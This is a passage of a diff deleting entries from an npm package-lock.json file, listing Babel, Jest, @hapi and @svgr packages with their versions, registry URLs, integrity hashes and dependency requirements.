-    "@babel/plugin-transform-react-display-name": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.8.3.tgz",
-      "integrity": "sha512-3Jy/PCw8Fe6uBKtEgz3M82ljt+lTg+xJaM4og+eyu83qLT87ZUSckn0wy7r31jflURWLO83TW6Ylf7lyXj3m5A==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-react-jsx": {
-      "version": "7.9.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.9.4.tgz",
-      "integrity": "sha512-Mjqf3pZBNLt854CK0C/kRuXAnE6H/bo7xYojP+WGtX8glDGSibcwnsWwhwoSuRg0+EBnxPC1ouVnuetUIlPSAw==",
-      "requires": {
-        "@babel/helper-builder-react-jsx": "^7.9.0",
-        "@babel/helper-builder-react-jsx-experimental": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-jsx": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-development": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.9.0.tgz",
-      "integrity": "sha512-tK8hWKrQncVvrhvtOiPpKrQjfNX3DtkNLSX4ObuGcpS9p0QrGetKmlySIGR07y48Zft8WVgPakqd/bk46JrMSw==",
-      "requires": {
-        "@babel/helper-builder-react-jsx-experimental": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-jsx": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-self": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.9.0.tgz",
-      "integrity": "sha512-K2ObbWPKT7KUTAoyjCsFilOkEgMvFG+y0FqOl6Lezd0/13kMkkjHskVsZvblRPj1PHA44PrToaZANrryppzTvQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-jsx": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-source": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.9.0.tgz",
-      "integrity": "sha512-K6m3LlSnTSfRkM6FcRk8saNEeaeyG5k7AVkBU2bZK3+1zdkSED3qNdsWrUgQBeTVD2Tp3VMmerxVO2yM5iITmw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-jsx": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-regenerator": {
-      "version": "7.8.7",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.8.7.tgz",
-      "integrity": "sha512-TIg+gAl4Z0a3WmD3mbYSk+J9ZUH6n/Yc57rtKRnlA/7rcCvpekHXe0CMZHP1gYp7/KLe9GHTuIba0vXmls6drA==",
-      "requires": {
-        "regenerator-transform": "^0.14.2"
-      }
-    },
-    "@babel/plugin-transform-reserved-words": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.8.3.tgz",
-      "integrity": "sha512-mwMxcycN3omKFDjDQUl+8zyMsBfjRFr0Zn/64I41pmjv4NJuqcYlEtezwYtw9TFd9WR1vN5kiM+O0gMZzO6L0A==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-runtime": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.9.0.tgz",
-      "integrity": "sha512-pUu9VSf3kI1OqbWINQ7MaugnitRss1z533436waNXp+0N3ur3zfut37sXiQMxkuCF4VUjwZucen/quskCh7NHw==",
-      "requires": {
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "resolve": "^1.8.1",
-        "semver": "^5.5.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "@babel/plugin-transform-shorthand-properties": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.8.3.tgz",
-      "integrity": "sha512-I9DI6Odg0JJwxCHzbzW08ggMdCezoWcuQRz3ptdudgwaHxTjxw5HgdFJmZIkIMlRymL6YiZcped4TTCB0JcC8w==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-spread": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.8.3.tgz",
-      "integrity": "sha512-CkuTU9mbmAoFOI1tklFWYYbzX5qCIZVXPVy0jpXgGwkplCndQAa58s2jr66fTeQnA64bDox0HL4U56CFYoyC7g==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-sticky-regex": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.8.3.tgz",
-      "integrity": "sha512-9Spq0vGCD5Bb4Z/ZXXSK5wbbLFMG085qd2vhL1JYu1WcQ5bXqZBAYRzU1d+p79GcHs2szYv5pVQCX13QgldaWw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-regex": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-template-literals": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.8.3.tgz",
-      "integrity": "sha512-820QBtykIQOLFT8NZOcTRJ1UNuztIELe4p9DCgvj4NK+PwluSJ49we7s9FB1HIGNIYT7wFUJ0ar2QpCDj0escQ==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-typeof-symbol": {
-      "version": "7.8.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.8.4.tgz",
-      "integrity": "sha512-2QKyfjGdvuNfHsb7qnBBlKclbD4CfshH2KvDabiijLMGXPHJXGxtDzwIF7bQP+T0ysw8fYTtxPafgfs/c1Lrqg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-typescript": {
-      "version": "7.9.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.9.4.tgz",
-      "integrity": "sha512-yeWeUkKx2auDbSxRe8MusAG+n4m9BFY/v+lPjmQDgOFX5qnySkUY5oXzkp6FwPdsYqnKay6lorXYdC0n3bZO7w==",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-typescript": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-unicode-regex": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.8.3.tgz",
-      "integrity": "sha512-+ufgJjYdmWfSQ+6NS9VGUR2ns8cjJjYbrbi11mZBTaWm+Fui/ncTLFF28Ei1okavY+xkojGr1eJxNsWYeA5aZw==",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/preset-env": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.9.5.tgz",
-      "integrity": "sha512-eWGYeADTlPJH+wq1F0wNfPbVS1w1wtmMJiYk55Td5Yu28AsdR9AsC97sZ0Qq8fHqQuslVSIYSGJMcblr345GfQ==",
-      "requires": {
-        "@babel/compat-data": "^7.9.0",
-        "@babel/helper-compilation-targets": "^7.8.7",
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-proposal-async-generator-functions": "^7.8.3",
-        "@babel/plugin-proposal-dynamic-import": "^7.8.3",
-        "@babel/plugin-proposal-json-strings": "^7.8.3",
-        "@babel/plugin-proposal-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-proposal-numeric-separator": "^7.8.3",
-        "@babel/plugin-proposal-object-rest-spread": "^7.9.5",
-        "@babel/plugin-proposal-optional-catch-binding": "^7.8.3",
-        "@babel/plugin-proposal-optional-chaining": "^7.9.0",
-        "@babel/plugin-proposal-unicode-property-regex": "^7.8.3",
-        "@babel/plugin-syntax-async-generators": "^7.8.0",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.0",
-        "@babel/plugin-syntax-json-strings": "^7.8.0",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0",
-        "@babel/plugin-syntax-numeric-separator": "^7.8.0",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.0",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.0",
-        "@babel/plugin-syntax-top-level-await": "^7.8.3",
-        "@babel/plugin-transform-arrow-functions": "^7.8.3",
-        "@babel/plugin-transform-async-to-generator": "^7.8.3",
-        "@babel/plugin-transform-block-scoped-functions": "^7.8.3",
-        "@babel/plugin-transform-block-scoping": "^7.8.3",
-        "@babel/plugin-transform-classes": "^7.9.5",
-        "@babel/plugin-transform-computed-properties": "^7.8.3",
-        "@babel/plugin-transform-destructuring": "^7.9.5",
-        "@babel/plugin-transform-dotall-regex": "^7.8.3",
-        "@babel/plugin-transform-duplicate-keys": "^7.8.3",
-        "@babel/plugin-transform-exponentiation-operator": "^7.8.3",
-        "@babel/plugin-transform-for-of": "^7.9.0",
-        "@babel/plugin-transform-function-name": "^7.8.3",
-        "@babel/plugin-transform-literals": "^7.8.3",
-        "@babel/plugin-transform-member-expression-literals": "^7.8.3",
-        "@babel/plugin-transform-modules-amd": "^7.9.0",
-        "@babel/plugin-transform-modules-commonjs": "^7.9.0",
-        "@babel/plugin-transform-modules-systemjs": "^7.9.0",
-        "@babel/plugin-transform-modules-umd": "^7.9.0",
-        "@babel/plugin-transform-named-capturing-groups-regex": "^7.8.3",
-        "@babel/plugin-transform-new-target": "^7.8.3",
-        "@babel/plugin-transform-object-super": "^7.8.3",
-        "@babel/plugin-transform-parameters": "^7.9.5",
-        "@babel/plugin-transform-property-literals": "^7.8.3",
-        "@babel/plugin-transform-regenerator": "^7.8.7",
-        "@babel/plugin-transform-reserved-words": "^7.8.3",
-        "@babel/plugin-transform-shorthand-properties": "^7.8.3",
-        "@babel/plugin-transform-spread": "^7.8.3",
-        "@babel/plugin-transform-sticky-regex": "^7.8.3",
-        "@babel/plugin-transform-template-literals": "^7.8.3",
-        "@babel/plugin-transform-typeof-symbol": "^7.8.4",
-        "@babel/plugin-transform-unicode-regex": "^7.8.3",
-        "@babel/preset-modules": "^0.1.3",
-        "@babel/types": "^7.9.5",
-        "browserslist": "^4.9.1",
-        "core-js-compat": "^3.6.2",
-        "invariant": "^2.2.2",
-        "levenary": "^1.1.1",
-        "semver": "^5.5.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "@babel/preset-modules": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz",
-      "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.0.0",
-        "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
-        "@babel/plugin-transform-dotall-regex": "^7.4.4",
-        "@babel/types": "^7.4.4",
-        "esutils": "^2.0.2"
-      }
-    },
-    "@babel/preset-react": {
-      "version": "7.9.4",
-      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.9.4.tgz",
-      "integrity": "sha512-AxylVB3FXeOTQXNXyiuAQJSvss62FEotbX2Pzx3K/7c+MKJMdSg6Ose6QYllkdCFA8EInCJVw7M/o5QbLuA4ZQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-transform-react-display-name": "^7.8.3",
-        "@babel/plugin-transform-react-jsx": "^7.9.4",
-        "@babel/plugin-transform-react-jsx-development": "^7.9.0",
-        "@babel/plugin-transform-react-jsx-self": "^7.9.0",
-        "@babel/plugin-transform-react-jsx-source": "^7.9.0"
-      }
-    },
-    "@babel/preset-typescript": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.9.0.tgz",
-      "integrity": "sha512-S4cueFnGrIbvYJgwsVFKdvOmpiL0XGw9MFW9D0vgRys5g36PBhZRL8NX8Gr2akz8XRtzq6HuDXPD/1nniagNUg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-transform-typescript": "^7.9.0"
-      }
-    },
-    "@babel/runtime": {
-      "version": "7.9.2",
-      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.2.tgz",
-      "integrity": "sha512-NE2DtOdufG7R5vnfQUTehdTfNycfUANEtCa9PssN9O/xmTzP4E08UI797ixaei6hBEVL9BI/PsdJS5x7mWoB9Q==",
-      "requires": {
-        "regenerator-runtime": "^0.13.4"
-      }
-    },
-    "@babel/runtime-corejs3": {
-      "version": "7.9.2",
-      "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.9.2.tgz",
-      "integrity": "sha512-HHxmgxbIzOfFlZ+tdeRKtaxWOMUoCG5Mu3wKeUmOxjYrwb3AAHgnmtCUbPPK11/raIWLIBK250t8E2BPO0p7jA==",
-      "requires": {
-        "core-js-pure": "^3.0.0",
-        "regenerator-runtime": "^0.13.4"
-      }
-    },
-    "@babel/template": {
-      "version": "7.8.6",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz",
-      "integrity": "sha512-zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==",
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/parser": "^7.8.6",
-        "@babel/types": "^7.8.6"
-      }
-    },
-    "@babel/traverse": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.9.5.tgz",
-      "integrity": "sha512-c4gH3jsvSuGUezlP6rzSJ6jf8fYjLj3hsMZRx/nX0h+fmHN0w+ekubRrHPqnMec0meycA2nwCsJ7dC8IPem2FQ==",
-      "requires": {
-        "@babel/code-frame": "^7.8.3",
-        "@babel/generator": "^7.9.5",
-        "@babel/helper-function-name": "^7.9.5",
-        "@babel/helper-split-export-declaration": "^7.8.3",
-        "@babel/parser": "^7.9.0",
-        "@babel/types": "^7.9.5",
-        "debug": "^4.1.0",
-        "globals": "^11.1.0",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/types": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.5.tgz",
-      "integrity": "sha512-XjnvNqenk818r5zMaba+sLQjnbda31UfUURv3ei0qPQw4u+j2jMyJ5b11y8ZHYTRSI3NnInQkkkRT4fLqqPdHg==",
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.9.5",
-        "lodash": "^4.17.13",
-        "to-fast-properties": "^2.0.0"
-      }
-    },
-    "@cnakazawa/watch": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/@cnakazawa/watch/-/watch-1.0.4.tgz",
-      "integrity": "sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==",
-      "requires": {
-        "exec-sh": "^0.3.2",
-        "minimist": "^1.2.0"
-      }
-    },
-    "@csstools/convert-colors": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/@csstools/convert-colors/-/convert-colors-1.4.0.tgz",
-      "integrity": "sha512-5a6wqoJV/xEdbRNKVo6I4hO3VjyDq//8q2f9I6PBAvMesJHFauXDorcNCsr9RzvsZnaWi5NYCcfyqP1QeFHFbw=="
-    },
-    "@csstools/normalize.css": {
-      "version": "10.1.0",
-      "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-10.1.0.tgz",
-      "integrity": "sha512-ij4wRiunFfaJxjB0BdrYHIH8FxBJpOwNPhhAcunlmPdXudL1WQV1qoP9un6JsEBAgQH+7UXyyjh0g7jTxXK6tg=="
-    },
-    "@hapi/address": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz",
-      "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ=="
-    },
-    "@hapi/bourne": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/@hapi/bourne/-/bourne-1.3.2.tgz",
-      "integrity": "sha512-1dVNHT76Uu5N3eJNTYcvxee+jzX4Z9lfciqRRHCU27ihbUcYi+iSc2iml5Ke1LXe1SyJCLA0+14Jh4tXJgOppA=="
-    },
-    "@hapi/hoek": {
-      "version": "8.5.1",
-      "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-8.5.1.tgz",
-      "integrity": "sha512-yN7kbciD87WzLGc5539Tn0sApjyiGHAJgKvG9W8C7O+6c7qmoQMfVs0W4bX17eqz6C78QJqqFrtgdK5EWf6Qow=="
-    },
-    "@hapi/joi": {
-      "version": "15.1.1",
-      "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz",
-      "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==",
-      "requires": {
-        "@hapi/address": "2.x.x",
-        "@hapi/bourne": "1.x.x",
-        "@hapi/hoek": "8.x.x",
-        "@hapi/topo": "3.x.x"
-      }
-    },
-    "@hapi/topo": {
-      "version": "3.1.6",
-      "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz",
-      "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==",
-      "requires": {
-        "@hapi/hoek": "^8.3.0"
-      }
-    },
-    "@jest/console": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/console/-/console-24.9.0.tgz",
-      "integrity": "sha512-Zuj6b8TnKXi3q4ymac8EQfc3ea/uhLeCGThFqXeC8H9/raaH8ARPUTdId+XyGd03Z4In0/VjD2OYFcBF09fNLQ==",
-      "requires": {
-        "@jest/source-map": "^24.9.0",
-        "chalk": "^2.0.1",
-        "slash": "^2.0.0"
-      }
-    },
-    "@jest/core": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/core/-/core-24.9.0.tgz",
-      "integrity": "sha512-Fogg3s4wlAr1VX7q+rhV9RVnUv5tD7VuWfYy1+whMiWUrvl7U3QJSJyWcDio9Lq2prqYsZaeTv2Rz24pWGkJ2A==",
-      "requires": {
-        "@jest/console": "^24.7.1",
-        "@jest/reporters": "^24.9.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/transform": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "ansi-escapes": "^3.0.0",
-        "chalk": "^2.0.1",
-        "exit": "^0.1.2",
-        "graceful-fs": "^4.1.15",
-        "jest-changed-files": "^24.9.0",
-        "jest-config": "^24.9.0",
-        "jest-haste-map": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-regex-util": "^24.3.0",
-        "jest-resolve": "^24.9.0",
-        "jest-resolve-dependencies": "^24.9.0",
-        "jest-runner": "^24.9.0",
-        "jest-runtime": "^24.9.0",
-        "jest-snapshot": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-validate": "^24.9.0",
-        "jest-watcher": "^24.9.0",
-        "micromatch": "^3.1.10",
-        "p-each-series": "^1.0.0",
-        "realpath-native": "^1.1.0",
-        "rimraf": "^2.5.4",
-        "slash": "^2.0.0",
-        "strip-ansi": "^5.0.0"
-      },
-      "dependencies": {
-        "ansi-escapes": {
-          "version": "3.2.0",
-          "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
-          "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="
-        }
-      }
-    },
-    "@jest/environment": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-24.9.0.tgz",
-      "integrity": "sha512-5A1QluTPhvdIPFYnO3sZC3smkNeXPVELz7ikPbhUj0bQjB07EoE9qtLrem14ZUYWdVayYbsjVwIiL4WBIMV4aQ==",
-      "requires": {
-        "@jest/fake-timers": "^24.9.0",
-        "@jest/transform": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "jest-mock": "^24.9.0"
-      }
-    },
-    "@jest/fake-timers": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-24.9.0.tgz",
-      "integrity": "sha512-eWQcNa2YSwzXWIMC5KufBh3oWRIijrQFROsIqt6v/NS9Io/gknw1jsAC9c+ih/RQX4A3O7SeWAhQeN0goKhT9A==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-mock": "^24.9.0"
-      }
-    },
-    "@jest/reporters": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-24.9.0.tgz",
-      "integrity": "sha512-mu4X0yjaHrffOsWmVLzitKmmmWSQ3GGuefgNscUSWNiUNcEOSEQk9k3pERKEQVBb0Cnn88+UESIsZEMH3o88Gw==",
-      "requires": {
-        "@jest/environment": "^24.9.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/transform": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "chalk": "^2.0.1",
-        "exit": "^0.1.2",
-        "glob": "^7.1.2",
-        "istanbul-lib-coverage": "^2.0.2",
-        "istanbul-lib-instrument": "^3.0.1",
-        "istanbul-lib-report": "^2.0.4",
-        "istanbul-lib-source-maps": "^3.0.1",
-        "istanbul-reports": "^2.2.6",
-        "jest-haste-map": "^24.9.0",
-        "jest-resolve": "^24.9.0",
-        "jest-runtime": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-worker": "^24.6.0",
-        "node-notifier": "^5.4.2",
-        "slash": "^2.0.0",
-        "source-map": "^0.6.0",
-        "string-length": "^2.0.0"
-      }
-    },
-    "@jest/source-map": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-24.9.0.tgz",
-      "integrity": "sha512-/Xw7xGlsZb4MJzNDgB7PW5crou5JqWiBQaz6xyPd3ArOg2nfn/PunV8+olXbbEZzNl591o5rWKE9BRDaFAuIBg==",
-      "requires": {
-        "callsites": "^3.0.0",
-        "graceful-fs": "^4.1.15",
-        "source-map": "^0.6.0"
-      },
-      "dependencies": {
-        "callsites": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
-          "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="
-        }
-      }
-    },
-    "@jest/test-result": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-24.9.0.tgz",
-      "integrity": "sha512-XEFrHbBonBJ8dGp2JmF8kP/nQI/ImPpygKHwQ/SY+es59Z3L5PI4Qb9TQQMAEeYsThG1xF0k6tmG0tIKATNiiA==",
-      "requires": {
-        "@jest/console": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "@types/istanbul-lib-coverage": "^2.0.0"
-      }
-    },
-    "@jest/test-sequencer": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-24.9.0.tgz",
-      "integrity": "sha512-6qqsU4o0kW1dvA95qfNog8v8gkRN9ph6Lz7r96IvZpHdNipP2cBcb07J1Z45mz/VIS01OHJ3pY8T5fUY38tg4A==",
-      "requires": {
-        "@jest/test-result": "^24.9.0",
-        "jest-haste-map": "^24.9.0",
-        "jest-runner": "^24.9.0",
-        "jest-runtime": "^24.9.0"
-      }
-    },
-    "@jest/transform": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-24.9.0.tgz",
-      "integrity": "sha512-TcQUmyNRxV94S0QpMOnZl0++6RMiqpbH/ZMccFB/amku6Uwvyb1cjYX7xkp5nGNkbX4QPH/FcB6q1HBTHynLmQ==",
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/types": "^24.9.0",
-        "babel-plugin-istanbul": "^5.1.0",
-        "chalk": "^2.0.1",
-        "convert-source-map": "^1.4.0",
-        "fast-json-stable-stringify": "^2.0.0",
-        "graceful-fs": "^4.1.15",
-        "jest-haste-map": "^24.9.0",
-        "jest-regex-util": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "micromatch": "^3.1.10",
-        "pirates": "^4.0.1",
-        "realpath-native": "^1.1.0",
-        "slash": "^2.0.0",
-        "source-map": "^0.6.1",
-        "write-file-atomic": "2.4.1"
-      }
-    },
-    "@jest/types": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/@jest/types/-/types-24.9.0.tgz",
-      "integrity": "sha512-XKK7ze1apu5JWQ5eZjHITP66AX+QsLlbaJRBGYr8pNzwcAE2JVkwnf0yqjHTsDRcjR0mujy/NmZMXw5kl+kGBw==",
-      "requires": {
-        "@types/istanbul-lib-coverage": "^2.0.0",
-        "@types/istanbul-reports": "^1.1.1",
-        "@types/yargs": "^13.0.0"
-      }
-    },
-    "@mrmlnc/readdir-enhanced": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/@mrmlnc/readdir-enhanced/-/readdir-enhanced-2.2.1.tgz",
-      "integrity": "sha512-bPHp6Ji8b41szTOcaP63VlnbbO5Ny6dwAATtY6JTjh5N2OLrb5Qk/Th5cRkRQhkWCt+EJsYrNB0MiL+Gpn6e3g==",
-      "requires": {
-        "call-me-maybe": "^1.0.1",
-        "glob-to-regexp": "^0.3.0"
-      }
-    },
-    "@nodelib/fs.stat": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-1.1.3.tgz",
-      "integrity": "sha512-shAmDyaQC4H92APFoIaVDHCx5bStIocgvbwQyxPRrbUY20V1EYTbSDchWbuwlMG3V17cprZhA6+78JfB+3DTPw=="
-    },
-    "@sheerun/mutationobserver-shim": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/@sheerun/mutationobserver-shim/-/mutationobserver-shim-0.3.3.tgz",
-      "integrity": "sha512-DetpxZw1fzPD5xUBrIAoplLChO2VB8DlL5Gg+I1IR9b2wPqYIca2WSUxL5g1vLeR4MsQq1NeWriXAVffV+U1Fw=="
-    },
-    "@svgr/babel-plugin-add-jsx-attribute": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-4.2.0.tgz",
-      "integrity": "sha512-j7KnilGyZzYr/jhcrSYS3FGWMZVaqyCG0vzMCwzvei0coIkczuYMcniK07nI0aHJINciujjH11T72ICW5eL5Ig=="
-    },
-    "@svgr/babel-plugin-remove-jsx-attribute": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-4.2.0.tgz",
-      "integrity": "sha512-3XHLtJ+HbRCH4n28S7y/yZoEQnRpl0tvTZQsHqvaeNXPra+6vE5tbRliH3ox1yZYPCxrlqaJT/Mg+75GpDKlvQ=="
-    },
-    "@svgr/babel-plugin-remove-jsx-empty-expression": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-4.2.0.tgz",
